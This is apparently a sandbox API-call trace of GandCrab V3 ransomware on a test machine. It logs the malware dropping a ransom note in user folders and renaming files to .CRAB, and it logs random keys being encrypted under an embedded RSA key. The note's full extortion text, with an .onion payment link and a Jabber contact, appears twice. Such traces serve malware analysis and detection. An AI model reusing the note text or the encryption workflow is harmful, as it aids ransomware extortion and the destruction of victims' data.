	[0112.599] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.599] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.599] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.599] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.599] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.599] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.599] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\\\CRAB-DECRYPT.txt") returned 91
	[0112.599] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\publisher building blocks\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0112.600] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.600] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.600] CloseHandle (hObject=0x3f0) returned 1
	[0112.601] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.601] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\") returned 74
	[0112.601] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*"
	[0112.601] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.601] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.601] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.601] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.601] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.601] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.601] lstrcmpW (lpString1="ContentStore.xml", lpString2=".") returned 1
	[0112.601] lstrcmpW (lpString1="ContentStore.xml", lpString2="..") returned 1
	[0112.601] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2="ContentStore.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml"
	[0112.601] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.601] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned 90
	[0112.602] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned 90
	[0112.602] lstrlenW (lpString=".xml") returned 4
	[0112.602] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.602] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xml ") returned 5
	[0112.602] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.602] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned 90
	[0112.602] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned 90
	[0112.602] lstrcmpiW (lpString1="ContentStore.xml", lpString2="desktop.ini") returned -1
	[0112.602] lstrcmpiW (lpString1="ContentStore.xml", lpString2="autorun.inf") returned 1
	[0112.602] lstrcmpiW (lpString1="ContentStore.xml", lpString2="ntuser.dat") returned -1
	[0112.602] lstrcmpiW (lpString1="ContentStore.xml", lpString2="iconcache.db") returned -1
	[0112.602] lstrcmpiW (lpString1="ContentStore.xml", lpString2="bootsect.bak") returned 1
	[0112.602] lstrcmpiW (lpString1="ContentStore.xml", lpString2="boot.ini") returned 1
	[0112.602] lstrcmpiW (lpString1="ContentStore.xml", lpString2="ntuser.dat.log") returned -1
	[0112.602] lstrcmpiW (lpString1="ContentStore.xml", lpString2="thumbs.db") returned -1
	[0112.602] lstrcmpiW (lpString1="ContentStore.xml", lpString2="CRAB-DECRYPT.txt") returned -1
	[0112.602] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.602] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.CRAB") returned 95
	[0112.602] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml")) returned 0x20
	[0112.603] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", dwFileAttributes=0x20) returned 1
	[0112.603] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.crab")) returned 1
	[0112.604] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.604] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.CRAB"
	[0112.604] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.CRAB.CRAB"
	[0112.604] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0112.604] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.604] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.605] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.605] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0112.605] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0112.605] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.605] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e5a0) returned 1
	[0112.605] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.606] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.606] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0112.606] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0112.606] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.606] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.606] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.606] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6ed98) returned 1
	[0112.607] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xd48280) returned 1
	[0112.607] CryptGetKeyParam (in: hKey=0xd48280, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.607] CryptEncrypt (in: hKey=0xd48280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0112.607] GetLastError () returned 0x0
	[0112.607] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0112.607] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6ed98) returned 1
	[0112.607] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xd808e0) returned 1
	[0112.607] CryptGetKeyParam (in: hKey=0xd808e0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.607] CryptEncrypt (in: hKey=0xd808e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0112.608] GetLastError () returned 0x0
	[0112.608] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0112.608] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.608] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.608] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.609] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0xa8, lpOverlapped=0x0) returned 1
	[0112.618] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.619] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.619] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.619] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffff58, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.619] WriteFile (in: hFile=0x3f4, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314b464*=0xb0, lpOverlapped=0x0) returned 1
	[0112.619] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.620] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.622] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.622] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.630] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0112.630] CloseHandle (hObject=0x3f4) returned 1
	[0112.631] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.631] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.631] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.631] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.631] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.631] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.632] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.632] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.632] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.632] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\CRAB-DECRYPT.txt"
	[0112.632] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.632] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\CRAB-DECRYPT.txt") returned 90
	[0112.632] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\CRAB-DECRYPT.txt") returned 90
	[0112.632] lstrlenW (lpString=".txt") returned 4
	[0112.632] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.632] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.632] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.632] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\CRAB-DECRYPT.txt") returned 90
	[0112.632] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\CRAB-DECRYPT.txt") returned 90
	[0112.632] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.632] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.633] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.633] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.633] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.633] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.633] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.633] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.633] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.633] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.633] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.633] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.633] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.633] lstrcmpW (lpString1="Speech", lpString2=".") returned 1
	[0112.633] lstrcmpW (lpString1="Speech", lpString2="..") returned 1
	[0112.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Speech" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech"
	[0112.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\"
	[0112.633] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.633] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.633] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.633] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.633] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.633] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.634] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.634] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.634] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.634] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.634] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.634] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.634] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.634] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\\\CRAB-DECRYPT.txt") returned 72
	[0112.634] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\speech\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0112.634] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.634] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.635] CloseHandle (hObject=0x3f0) returned 1
	[0112.635] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.635] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned 55
	[0112.635] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*"
	[0112.635] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.636] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.636] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.636] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.636] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.636] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.636] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.636] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.636] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\CRAB-DECRYPT.txt"
	[0112.636] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.636] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\CRAB-DECRYPT.txt") returned 71
	[0112.636] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\CRAB-DECRYPT.txt") returned 71
